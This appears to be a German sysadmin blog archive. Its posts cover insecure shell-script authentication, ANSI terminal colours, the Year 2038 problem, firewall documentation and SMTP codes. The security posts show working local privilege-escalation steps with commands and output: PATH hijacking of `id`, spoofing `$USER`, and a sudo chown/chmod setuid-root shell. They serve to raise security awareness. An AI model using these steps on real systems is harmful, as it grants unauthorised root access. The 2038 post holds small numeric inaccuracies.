Tim schlug hier vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen: id. Auch das ist unsicher, wenn man es falsch macht. Ich benutze hier einfach mal die UIDs statt der Usernamen. Der folgende Code wäre dann die id-Variante, wer findet das Sicherheitsproblem?


#!/bin/bash
if [ "$(id -u)" != "1001" ] && [ "$(id -u)" != "1002" ]
then
echo "Zugriff verweigert."
else
echo OK
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi


Umgehen kann man es jedoch wieder trivial, man erstelle ~/id:

[stefan@srv2342 ~]$ sh authme.sh
Zugriff verweigert.
[stefan@srv2342 ~]$ echo "echo 1001" > ~/id
[stefan@srv2342 ~]$ chmod +x ~/id
[stefan@srv2342 ~]$ PATH=".:$PATH" sh authme.sh
OK
[stefan@srv2342 ~]$


Wir haben hier PATH so geändert, dass zuerst im aktuellen Pfad nach id Datei gesucht wird – die Datei haben wir grade angelegt und sie gibt aus, was das Script als Antwort sehen möchte. Whoops! ;D

Um die Security awareness etwas zu erhöhen, habe ich überlegt, noch ein paar witzige Schnippsel zu posten! Vielleicht entdeckt ja jemand auch etwas, das er selbst mal gemacht hat!

Hier folgt nun ein sinngemäßer Auszug aus einem Script, das bei einem ISP sehr kritische Aktionen für Domains ausführt:




#!/bin/bash
if [ "$USER" != "franz" ] && [ "$USER" != "karl" ]
then
echo "Zugriff verweigert."
else
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi


Wichtig ist hier vor allem das Audit Log. Umgehen kann man es jedoch trivial:

USER=franz ./domain-delete.sh [domain]


Leider bedachte der Programmierer nicht, dass $USER natürlich trivial von jedem Shelluser geändert werden kann. Das Audit-Log würde ggfs. sehr unerfreuliche Folgen haben.

Bessere Lösung: sudo benutzen und nur den zwei Usern, die es wirklich benötigen, Rechte auf das Script gewähren.

Auf einem Webserver fand ich kürzlich eine sudoers-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden.

user@srv2342: ~> id
uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users)



Ich brauche zuerst ein kleines C-Tool:

user@srv2342: ~> cat > /foo/y.c
#include
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
STRG-D


Compilieren:

user@srv2342:/foo> cd /foo; gcc y.c -o y


Jetzt machen wir sudo-magic und erhalten ein SetUID-Bit:

user@srv2342:/foo> sudo /bin/chown 0:0 /foo/y
user@srv2342:/foo> sudo /bin/chmod 4775 /foo/y
user@srv2342:/foo ls -l
total 16
-rwsrwxr-x 1 root root 9217 Mar 26 14:52 y
-rw-r----- 1 user users 101 Mar 26 14:51 y.c


Root werden:

user@srv2342:/foo> ./y
srv2342:/foo # id
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)

Owned!

[code language="shell"]
#/bin/sh
# Show all the colors of the rainbow, should be run under bash
for STYLE in 0 1 2 3 4 5 6 7; do
for FG in 30 31 32 33 34 35 36 37; do
for BG in 40 41 42 43 44 45 46 47; do
CTRL="\033[${STYLE};${FG};${BG}m"
echo -en "${CTRL}"
echo -n "${STYLE};${FG};${BG}"
echo -en "\033[0m"
done
echo
done
echo
done
# Reset
echo -e "\033[0m"
[/code]

Nutzen lässt sich z.B: die Farbe grün (Code 32) mit fetter Schrift (Code 1) wie folgt:

[code language="shell"]
echo -e "\e[1;32mGREEN\033[0m"
[/code]

Anschließend wird die Terminalfarbe mit der Code Kombination \033[0m wieder auf die Standardfarben resettet.

Nachrichten lesen am heimischen Computer – damals noch keine große Konkurrenz für die Zeitungsverlage…

• Programmieren einer Schnittstelle, die die Regeln ausliest und in ein Repo eincheckt
• Automatische Backups durch die Firewall erzeugen lassen (oftmals per Mail möglich) und einchecken in ein Repo
• Eingeben der Firewallregeln in ein Dokumentationssystem
• Eingeben der Firewallregeln in ein System, welches die Regeln dann auf der Firewall anlegt
• Keine Dokumentation

Mich würde interessieren, wie ihr hier vorgeht? Z.B. für eine Zertifizierung nach dem IT-Grundschutzhandbuch sind solche organisatorischen Dinge nicht ganz unwichtig.

Tobias hat in seinem Beitrag vier interessante Landkarten zur Internetzensur vorgestellt. Die Landkarten stellen die folgenden Punkte dar: Politische Zensur, Eingeschränkte Nutzung von Internet-Tools, Einschränkung sozialer Themen sowie Konflikte und Sicherheitsrisiken.

Alle Landkarten stammen von der OpenNet Initiative. Auf wie vielen Landkarten Deutschland wohl in einigen Jahren gelistet sein wird?

Das Ende der UNIX Epoche? Treffender wäre wohl die Umschreibung: Das Jahr 2038 Problem. Viele mögen sich wohl noch an die Ängste vor dem Jahr 2000 Problem erinnern. Viel wichtiger ist aber das Jahr 2038, da hier der POSIX Zeitstandard an seine Grenzen gerät. Doch vorerst eine kurze Erläuterung zur UNIX Zeit.

Die UNIX Zeit zählt die vergangenen Sekunden seit dem 1. Januar 1970, 00:00:00 Uhr. Dieses Startdatum nennt sich “The Epoch”. Für uns Menschen lässt sich aus der Zahl 2.147.483.647 wenig deuten, ein Computer kann hiermit aber sehr gut umgehen. So sind Umrechnungen oder Addition bzw. Subtraktion von einfachen Zahlen für eine Maschine schnell getan. Wollen wir uns einen Timestring unter Linux umrechnen lassen, geht dies ganz einfach:

[code language="css"]date -d @2147483647
Tue Jan 19 04:14:07 CET 2038[/code]

Gehen wir nun nur eine Sekunde weiter, passiert aber folgendes:

[code language="css"]date -d @2147483648
date: invalid date `@2147483648'[/code]

Hier sind die Grenzen der UNIX Epoche erreicht. Warum? 2³¹ = 2.147.483.647 – jede größere Zahl erzeugt einen Pufferüberlauf. Der UNIX Timestamp wird in der 32 Bit großen time_t Variable gespeichert, wobei das 32te Bit jedoch für die Unterscheidung von positiven und negativen Werten dient. Somit lässt sich auch ein Datum vor 1970 bestimmen. Älter als vom 13. Dezember 1901, 20:45:52 Uhr sollten eure digitalen Daten dann jedoch nicht sein, ansonsten droht wieder ein Pufferüberlauf.

Und was kann man dagegen tun? Keine Sorge – eine Lösung ist bereits ausgearbeitet. Da 32 Bit nicht reichen, wechselt man einfach zu 64 Bit. Die 64 Bit Varianten von Linux Distributionen können bereits mit 64 Bit time_t umgehen, wobei es jedoch Probleme mit starren 32 Bit Zeitvariablen in einigen Programmen geben kann. Bei diesen gilt es innerhalb der nächsten 30 Jahre den Adressraum zu vergrößern. Mit 64 Bit haben wir dann erstmal wieder 290 Milliarden Jahre Ruhe. Glück gehabt!

Links:
Unixzeit
The Year 2038 Problem
2038bug.com
time_t

Das hier ausdrucken und an die Wand hängen!

adminzen.org
via

Eine schöne Präsentation zum Thema MySQL Skalierung im Hinblick auf Webanwendungen. Viele Best Practices werden aufgezeigt sowie Tipps zur Optimierung der Webanwendung beschrieben.

Memo an mich selbst: Ich muss mich endlich intensiver mit BSD befassen.

Links:
BSD For Linux Users: BSD vs. Linux

Ein Mailserver antwortet auf jede Aktion des Clients mit einer Antwort in Form einer dreistelligen Ziffer. Die erste Ziffer sagt aus, ob der Mailserver die Anforderung akzeptiert hat und diese ausführen konnte. Es gibt fünf mögliche Werte:

• 1yz: Mailserver hat die Anforderung akzeptiert, ist aber selbst noch nicht tätig geworden. Eine Bestätigungsmeldung ist erforderlich.
• 2yz: Mailserver hat die Anforderung erfolgreich ausgeführt. Eine neue Anfrage ist möglich.
• 3yz: Mailserver hat die Anforderung verstanden, benötigt aber weitere Informationen vom Client zur Bearbeitung.
• 4yz: Mailserver hat einen temporären Fehler festgestellt. Die Anforderung kann ohne jegliche Änderungen erneut ausgeführt werden, um die Verarbeitung möglicherweise abzuschliessen.
• 5yz: Mailserver hat einen dauerhaften Fehler festgestellt. Die Anforderung kann nicht verarbeitet werden.

Die zweite Ziffer gibt detaillierte Informationen:

• x0z: Syntax Fehler
• x1z: Antwortinformationen werden erwartet (Status / Hilfe)
• x2z: Status der Verbindung
• x5z: Status des Mailservers

Zuletzt noch einige häufige (E)SMTP Codes und deren Bedeutung:

• 211: System Status / System Hilfe Antwort
• 214: Hilfe Nachricht
• 220: Dienst bereit
• 221: Dienst schließt Übertragungskanal
• 250: Mail Aktion erfolgreich abgeschlossen
• 251: Benutzer nicht lokal, Weiterleitung erfolgt
• 354: Beginne Mail Eingabe (DATA)
• 421: Dienst nicht bereit, schließe Übertragungkanal
• 450: Mail nicht verarbeitet, Mailbox nicht verfügbar
• 451: Mail Aktion abgebrochen, lokaler Fehler in der Übertragung
• 452: Mail Aktion nicht ausgeführt, ungenügender Speicher
• 500: Syntax Fehler, Befehl nicht erkannt
• 501: Syntax Fehler in Parametern
• 502: Befehl nicht implementiert
• 503: Falsche Befehlsabfolge
• 504: Befehlsparameter nicht implementiert
• 550: Mail Aktion abgebrochen, Mailbox nicht verfügbar
• 551: Benutzer nicht lokal, Weiterleitung nutzen
• 552: Mail Aktion abgebrochen, Nachricht zu groß
• 553: Aktion nicht ausgeführt, Mailbox Name nicht erlaubt
• 554: Übertragung fehlgeschlagen

Wer sich alle Statuscodes anschauen möchte, sei hiermit auf die RFC 821 verwiesen. Zusätzlich möchte ich eine Übersicht der Bedeutungen abhängig von den verschiedenen SMTP Befehlen nicht verschweigen.